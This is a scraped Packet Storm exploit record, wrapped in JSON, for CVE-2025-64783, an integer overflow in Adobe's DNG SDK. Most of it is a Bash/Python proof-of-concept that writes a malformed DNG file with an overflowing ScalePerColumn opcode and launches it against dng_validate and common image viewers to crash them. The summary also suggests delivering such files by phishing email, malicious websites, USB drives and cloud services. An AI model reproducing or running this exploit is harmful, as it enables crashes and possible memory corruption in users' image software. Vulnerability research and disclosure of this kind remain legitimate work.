{“lastseen”:”2025-12-22T18:24:13″,”description”:”This proof of concept exploit demonstrates a local crash condition caused by an integer overflow vulnerability in the Adobe DNG SDK versions 1.5 through 1.7.0. The provided Bash script dynamically generates a malformed DNG image file containing a…”,”published”:”2025-12-22T00:00:00″,”modified”:”2025-12-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Adobe DNG SDK 1.5 Integer Overflow \/ Local Crash”,”source”:””,”references”:””,”id”:”PACKETSTORM:213200″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-64783″],”sourceData”:”=============================================================================================================================================\\n | # Title : Adobe DNG SDK 1.5 Integer Overflow Local Crash Exploit |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/helpx.adobe.com\/security\/products\/dng-sdk.html |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212923\/ \\u0026 \\tCVE-2025-64783\\n \\n [+] Note : This is my first time writing in Bash. I apologize for any mistakes.\\n \\n [+] Summary : This proof-of-concept exploit demonstrates a local crash condition caused by an integer overflow vulnerability in the Adobe DNG SDK (CVE-2025-64783), affecting versions 1.5 through 1.7.0.\\n The provided Bash script dynamically generates a malformed DNG image file containing a crafted opcode list that abuses the ScalePerColumn operation. \\n \\t\\t\\t\\t By supplying extreme signed integer values for the area specification (fArea.l) and column pitch (fColPitch), the exploit triggers an arithmetic overflow during image processing, resulting in out-of-bounds memory access.\\n The exploit is designed as a crash-focused validation PoC and is automatically tested against vulnerable DNG processing utilities such as dng_validate and common Linux image viewers. \\n \\t\\t\\t\\t No authentication, network access, or elevated privileges are required. The vulnerability is triggered solely by opening or parsing the malicious DNG file.\\n This exploit confirms the reliability of the integer overflow condition and serves as a minimal, reproducible demonstration of the vulnerability\u2019s impact on applications that rely on the Adobe DNG SDK for image decoding.\\n \\t\\t\\t\\t \\n [+] Affected Applications:\\n \\n Adobe Photoshop\\n \\n Adobe Lightroom\\n \\n Adobe Camera Raw\\n \\n Any application using DNG SDK 1.5+\\n \\n [+] Exploitation Methods:\\n \\n Email Phishing: Sending a malicious DNG as an attachment\\n \\n Malicious Websites: Downloading DNG from websites\\n \\n Removable Media: Storing DNG on a USB drive\\n \\n Cloud Applications: Processing DNG on servers\\n \\t\\t\\t\\t\\n [+] POC : bash cve_2025_64783.sh \\n \\n #!\/bin\/bash\\n # Exploitation script for CVE-2025-64783\\n \\n echo \\”[*] CVE-2025-64783 – Adobe DNG SDK Exploit\\”\\n echo \\”[*] Target: DNG SDK 1.5 through 1.7.0\\”\\n \\n # Create exploit file\\n python3 -c \\”\\n import struct\\n data = b’II*\\\\\\\\x08\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00′ # TIFF header\\n data += b’\\\\\\\\x01\\\\\\\\x00′ # Number of IFD entries\\n data += b’\\\\\\\\x00\\\\\\\\x01\\\\\\\\x04\\\\\\\\x00\\\\\\\\x01\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00\\\\\\\\x01\\\\\\\\x00\\\\\\\\x00′ # Width\\n data += b’\\\\\\\\x01\\\\\\\\x01\\\\\\\\x04\\\\\\\\x00\\\\\\\\x01\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00\\\\\\\\x01\\\\\\\\x00\\\\\\\\x00′ # Height\\n data += b’\\\\\\\\x01\\\\\\\\x03\\\\\\\\x03\\\\\\\\x00\\\\\\\\x01\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00\\\\\\\\x01\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00′ # Compression\\n data += b’\\\\\\\\x11\\\\\\\\x01\\\\\\\\x04\\\\\\\\x00\\\\\\\\x01\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00\\\\\\\\x30\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00′ # StripOffsets\\n data += b’\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00′ # Next IFD\\n \\n # Malicious opcode list\\n data += b’opcd’ # Signature\\n data += struct.pack(‘\\u003cI’, 1024) # Size\\n data += struct.pack(‘\\u003cI’, 1) # Opcode count\\n data += struct.pack(‘\\u003cI’, 3) # ScalePerColumn\\n data += struct.pack(‘\\u003cI’, 1) # Version\\n data += struct.pack(‘\\u003cI’, 0) # Flags\\n data += struct.pack(‘\\u003cI’, 92) # Opcode size\\n \\n # Trigger integer overflow\\n data += struct.pack(‘\\u003ci’, -2147483644) # fArea.l\\n data += struct.pack(‘\\u003ci’, 0) # fArea.t\\n data += struct.pack(‘\\u003ci’, 3) # fArea.r\\n data += struct.pack(‘\\u003ci’, 100) # fArea.b\\n data += struct.pack(‘\\u003cI’, 1) # fPlanes\\n data += struct.pack(‘\\u003cI’, 0) # fPlane\\n data += struct.pack(‘\\u003cI’, 2147483646) # fColPitch\\n data += struct.pack(‘\\u003cI’, 1) # fRowPitch\\n \\n with open(‘crash.dng’, ‘wb’) as f:\\n f.write(data)\\n \\”\\n \\n echo \\”[+] Malicious DNG created: crash.dng\\”\\n \\n # Test with vulnerable applications\\n echo \\”[*] Testing with vulnerable software…\\”\\n \\n # Method 1: Direct dng_validate\\n if command -v dng_validate \\u0026\\u003e \/dev\/null; then\\n echo \\”[*] Testing with dng_validate…\\”\\n timeout 5 dng_validate crash.dng \\u0026\\u0026 echo \\”[!] Application didn’t crash\\” || echo \\”[+] Crash triggered!\\”\\n fi\\n \\n # Method 2: Through image viewers\\n echo \\”[*] Attempting to trigger via common image viewers…\\”\\n \\n viewers=(\\”eog\\” \\”gimp\\” \\”feh\\” \\”display\\”)\\n for viewer in \\”${viewers[@]}\\”; do\\n if command -v $viewer \\u0026\\u003e \/dev\/null; then\\n echo \\”[*] Testing with $viewer…\\”\\n timeout 3 $viewer crash.dng 2\\u003e\\u00261 | grep -i \\”segmentation\\\\|crash\\\\|abort\\” \\u0026\\u0026 \\\\\\n echo \\”[+] $viewer crashed!\\” || echo \\”[-] $viewer didn’t crash\\”\\n fi\\n done\\n \\n echo \\”[*] Cleanup…\\”\\n rm -f crash.dng\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213200″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213200\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-22T18:24:13″,”description”:”This proof of concept exploit demonstrates a local crash condition caused by an integer overflow vulnerability in the Adobe DNG SDK versions 1.5 through 1.7.0….<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-32463","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n